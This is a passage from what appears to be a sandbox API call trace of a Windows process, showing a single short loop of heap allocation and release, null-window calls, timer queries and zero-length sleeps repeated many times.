0x790000 [0033.238] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.238] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.238] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.238] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.238] timeGetTime () returned 0x1143553 [0033.238] Sleep (dwMilliseconds=0x0) [0033.238] GetProcessHeap () returned 0x790000 [0033.239] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.239] GetProcessHeap () returned 0x790000 [0033.239] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.239] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.239] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.239] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.239] timeGetTime () returned 0x1143553 [0033.239] Sleep (dwMilliseconds=0x0) [0033.239] GetProcessHeap () returned 0x790000 [0033.239] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.239] GetProcessHeap () returned 0x790000 [0033.239] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.239] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.239] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.239] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.239] timeGetTime () returned 0x1143553 [0033.239] Sleep (dwMilliseconds=0x0) [0033.239] GetProcessHeap () returned 0x790000 [0033.239] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.239] GetProcessHeap () returned 0x790000 [0033.239] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.239] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.239] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.239] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.239] timeGetTime () returned 0x1143553 [0033.239] Sleep (dwMilliseconds=0x0) [0033.239] GetProcessHeap () returned 0x790000 [0033.239] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.239] GetProcessHeap () returned 0x790000 [0033.239] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.239] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.239] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.239] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.239] timeGetTime () returned 0x1143553 [0033.239] Sleep (dwMilliseconds=0x0) [0033.240] GetProcessHeap () returned 0x790000 [0033.240] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.240] GetProcessHeap () returned 0x790000 [0033.240] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.240] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.240] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.240] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.240] timeGetTime () returned 0x1143553 [0033.240] Sleep (dwMilliseconds=0x0) [0033.240] GetProcessHeap () returned 0x790000 [0033.240] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.240] GetProcessHeap () returned 0x790000 [0033.240] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.240] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.240] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.240] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.240] timeGetTime () returned 0x1143553 [0033.240] Sleep (dwMilliseconds=0x0) [0033.240] GetProcessHeap () returned 0x790000 [0033.240] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.240] GetProcessHeap () returned 0x790000 [0033.240] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.240] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.240] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.240] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.240] timeGetTime () returned 0x1143553 [0033.240] Sleep (dwMilliseconds=0x0) [0033.240] GetProcessHeap () returned 0x790000 [0033.240] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.240] GetProcessHeap () returned 0x790000 [0033.240] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.240] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.240] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.240] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.240] timeGetTime () returned 0x1143553 [0033.240] Sleep (dwMilliseconds=0x0) [0033.240] GetProcessHeap () returned 0x790000 [0033.241] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.241] GetProcessHeap () returned 0x790000 [0033.241] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.241] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.241] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.241] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.241] timeGetTime () returned 0x1143553 [0033.241] Sleep (dwMilliseconds=0x0) [0033.241] GetProcessHeap () returned 0x790000 [0033.241] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.241] GetProcessHeap () returned 0x790000 [0033.241] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.241] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.241] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.241] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.241] timeGetTime () returned 0x1143553 [0033.241] Sleep (dwMilliseconds=0x0) [0033.241] GetProcessHeap () returned 0x790000 [0033.241] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.241] GetProcessHeap () returned 0x790000 [0033.241] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.241] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.241] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.241] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.241] timeGetTime () returned 0x1143553 [0033.241] Sleep (dwMilliseconds=0x0) [0033.241] GetProcessHeap () returned 0x790000 [0033.241] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.241] GetProcessHeap () returned 0x790000 [0033.241] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.241] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.241] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.241] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.241] timeGetTime () returned 0x1143553 [0033.241] Sleep (dwMilliseconds=0x0) [0033.241] GetProcessHeap () returned 0x790000 [0033.242] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.242] GetProcessHeap () returned 0x790000 [0033.242] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.242] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.242] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.242] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.242] timeGetTime () returned 0x1143553 [0033.242] Sleep (dwMilliseconds=0x0) [0033.242] GetProcessHeap () returned 0x790000 [0033.242] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.242] GetProcessHeap () returned 0x790000 [0033.242] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.242] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.242] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.242] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.242] timeGetTime () returned 0x1143553 [0033.242] Sleep (dwMilliseconds=0x0) [0033.242] GetProcessHeap () returned 0x790000 [0033.242] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.242] GetProcessHeap () returned 0x790000 [0033.242] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.242] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.242] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.242] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.242] timeGetTime () returned 0x1143553 [0033.242] Sleep (dwMilliseconds=0x0) [0033.242] GetProcessHeap () returned 0x790000 [0033.242] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.242] GetProcessHeap () returned 0x790000 [0033.242] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.242] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.242] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.242] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.242] timeGetTime () returned 0x1143553 [0033.242] Sleep (dwMilliseconds=0x0) [0033.242] GetProcessHeap () returned 0x790000 [0033.243] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.243] GetProcessHeap () returned 0x790000 [0033.243] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.243] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.243] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.243] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.243] timeGetTime () returned 0x1143553 [0033.243] Sleep (dwMilliseconds=0x0) [0033.243] GetProcessHeap () returned 0x790000 [0033.243] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.243] GetProcessHeap () returned 0x790000 [0033.243] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.243] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.243] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.243] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.243] timeGetTime () returned 0x1143553 [0033.243] Sleep (dwMilliseconds=0x0) [0033.243] GetProcessHeap () returned 0x790000 [0033.243] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.243] GetProcessHeap () returned 0x790000 [0033.243] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.243] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.243] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.243] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.243] timeGetTime () returned 0x1143553 [0033.243] Sleep (dwMilliseconds=0x0) [0033.243] GetProcessHeap () returned 0x790000 [0033.243] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.243] GetProcessHeap () returned 0x790000 [0033.243] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.243] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.243] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.243] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.243] timeGetTime () returned 0x1143553 [0033.243] Sleep (dwMilliseconds=0x0) [0033.243] GetProcessHeap () returned 0x790000 [0033.244] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.244] GetProcessHeap () returned 0x790000 [0033.244] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.244] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.244] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.244] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.244] timeGetTime () returned 0x1143553 [0033.244] Sleep (dwMilliseconds=0x0) [0033.244] GetProcessHeap () returned 0x790000 [0033.244] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.244] GetProcessHeap () returned 0x790000 [0033.244] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.244] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.244] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.244] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.244] timeGetTime () returned 0x1143553 [0033.244] Sleep (dwMilliseconds=0x0) [0033.244] GetProcessHeap () returned 0x790000 [0033.244] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.244] GetProcessHeap () returned 0x790000 [0033.244] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.244] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.244] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.244] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.244] timeGetTime () returned 0x1143553 [0033.244] Sleep (dwMilliseconds=0x0) [0033.244] GetProcessHeap () returned 0x790000 [0033.244] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.244] GetProcessHeap () returned 0x790000 [0033.244] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.244] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.244] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.244] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.244] timeGetTime () returned 0x1143553 [0033.244] Sleep (dwMilliseconds=0x0) [0033.244] GetProcessHeap () returned 0x790000 [0033.245] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.245] GetProcessHeap () returned 0x790000 [0033.245] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.245] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.245] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.245] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.245] timeGetTime () returned 0x1143553 [0033.245] Sleep (dwMilliseconds=0x0) [0033.245] GetProcessHeap () returned 0x790000 [0033.245] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.245] GetProcessHeap () returned 0x790000 [0033.245] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.245] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.245] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.245] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.245] timeGetTime () returned 0x1143553 [0033.245] Sleep (dwMilliseconds=0x0) [0033.245] GetProcessHeap () returned 0x790000 [0033.245] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.245] GetProcessHeap () returned 0x790000 [0033.245] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.245] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.245] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.245] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.245] timeGetTime () returned 0x1143553 [0033.245] Sleep (dwMilliseconds=0x0) [0033.245] GetProcessHeap () returned 0x790000 [0033.245] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.245] GetProcessHeap () returned 0x790000 [0033.245] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.245] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.245] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.245] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.245] timeGetTime () returned 0x1143553 [0033.245] Sleep (dwMilliseconds=0x0) [0033.245] GetProcessHeap () returned 0x790000 [0033.246] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.246] GetProcessHeap () returned 0x790000 [0033.246] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.246] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.246] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.246] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.246] timeGetTime () returned 0x1143553 [0033.246] Sleep (dwMilliseconds=0x0) [0033.246] GetProcessHeap () returned 0x790000 [0033.246] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.246] GetProcessHeap () returned 0x790000 [0033.246] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.246] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.246] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.246] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.246] timeGetTime () returned 0x1143553 [0033.246] Sleep (dwMilliseconds=0x0) [0033.246] GetProcessHeap () returned 0x790000 [0033.246] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.246] GetProcessHeap () returned 0x790000 [0033.246] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.246] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.246] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.246] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.246] timeGetTime () returned 0x1143553 [0033.246] Sleep (dwMilliseconds=0x0) [0033.246] GetProcessHeap () returned 0x790000 [0033.246] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.246] GetProcessHeap () returned 0x790000 [0033.246] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.246] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.246] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.246] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.246] timeGetTime () returned 0x1143553 [0033.246] Sleep (dwMilliseconds=0x0) [0033.246] GetProcessHeap () returned 0x790000 [0033.246] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.247] GetProcessHeap () returned 0x790000 [0033.247] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.247] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.247] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.247] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.247] timeGetTime () returned 0x1143553 [0033.247] Sleep (dwMilliseconds=0x0) [0033.247] GetProcessHeap () returned 0x790000 [0033.247] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.247] GetProcessHeap () returned 0x790000 [0033.247] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.247] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.247] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.247] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.247] timeGetTime () returned 0x1143553 [0033.247] Sleep (dwMilliseconds=0x0) [0033.247] GetProcessHeap () returned 0x790000 [0033.247] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.247] GetProcessHeap () returned 0x790000 [0033.247] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.247] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.247] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.247] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.247] timeGetTime () returned 0x1143553 [0033.247] Sleep (dwMilliseconds=0x0) [0033.247] GetProcessHeap () returned 0x790000 [0033.247] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.247] GetProcessHeap () returned 0x790000 [0033.247] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.247] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.247] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.247] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.247] timeGetTime () returned 0x1143553 [0033.253] Sleep (dwMilliseconds=0x0) [0033.253] GetProcessHeap () returned 0x790000 [0033.253] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.253] GetProcessHeap () returned 0x790000 [0033.254] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.254] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.254] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.254] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.254] timeGetTime () returned 0x1143562 [0033.254] Sleep (dwMilliseconds=0x0) [0033.254] GetProcessHeap () returned 0x790000 [0033.254] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.254] GetProcessHeap () returned 0x790000 [0033.254] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.254] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.254] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.254] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.254] timeGetTime () returned 0x1143562 [0033.254] Sleep (dwMilliseconds=0x0) [0033.254] GetProcessHeap () returned 0x790000 [0033.254] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.254] GetProcessHeap () returned 0x790000 [0033.254] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.254] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.254] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.254] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.254] timeGetTime () returned 0x1143562 [0033.254] Sleep (dwMilliseconds=0x0) [0033.254] GetProcessHeap () returned 0x790000 [0033.254] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.254] GetProcessHeap () returned 0x790000 [0033.254] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.254] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.254] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.254] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.254] timeGetTime () returned 0x1143562 [0033.254] Sleep (dwMilliseconds=0x0) [0033.254] GetProcessHeap () returned 0x790000 [0033.254] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.255] GetProcessHeap () returned 0x790000 [0033.255] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.255] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.255] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.255] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.255] timeGetTime () returned 0x1143562 [0033.255] Sleep (dwMilliseconds=0x0) [0033.255] GetProcessHeap () returned 0x790000 [0033.255] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.255] GetProcessHeap () returned 0x790000 [0033.255] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.255] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.255] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.255] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.255] timeGetTime () returned 0x1143562 [0033.255] Sleep (dwMilliseconds=0x0) [0033.255] GetProcessHeap () returned 0x790000 [0033.255] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.255] GetProcessHeap () returned 0x790000 [0033.255] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.255] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.255] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.255] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.255] timeGetTime () returned 0x1143562 [0033.255] Sleep (dwMilliseconds=0x0) [0033.255] GetProcessHeap () returned 0x790000 [0033.255] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.255] GetProcessHeap () returned 0x790000 [0033.255] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.255] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.255] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.255] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.255] timeGetTime () returned 0x1143562 [0033.255] Sleep (dwMilliseconds=0x0) [0033.255] GetProcessHeap () returned 0x790000 [0033.255] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.255] GetProcessHeap () returned 0x790000 [0033.256] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.256] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.256] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.256] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.256] timeGetTime () returned 0x1143562 [0033.256] Sleep (dwMilliseconds=0x0) [0033.256] GetProcessHeap () returned 0x790000 [0033.256] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.256] GetProcessHeap () returned 0x790000 [0033.256] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.256] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.256] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.256] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.256] timeGetTime () returned 0x1143562 [0033.256] Sleep (dwMilliseconds=0x0) [0033.256] GetProcessHeap () returned 0x790000 [0033.256] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.256] GetProcessHeap () returned 0x790000 [0033.256] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.256] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.256] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.256] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.256] timeGetTime () returned 0x1143562 [0033.256] Sleep (dwMilliseconds=0x0) [0033.256] GetProcessHeap () returned 0x790000 [0033.256] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.256] GetProcessHeap () returned 0x790000 [0033.256] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 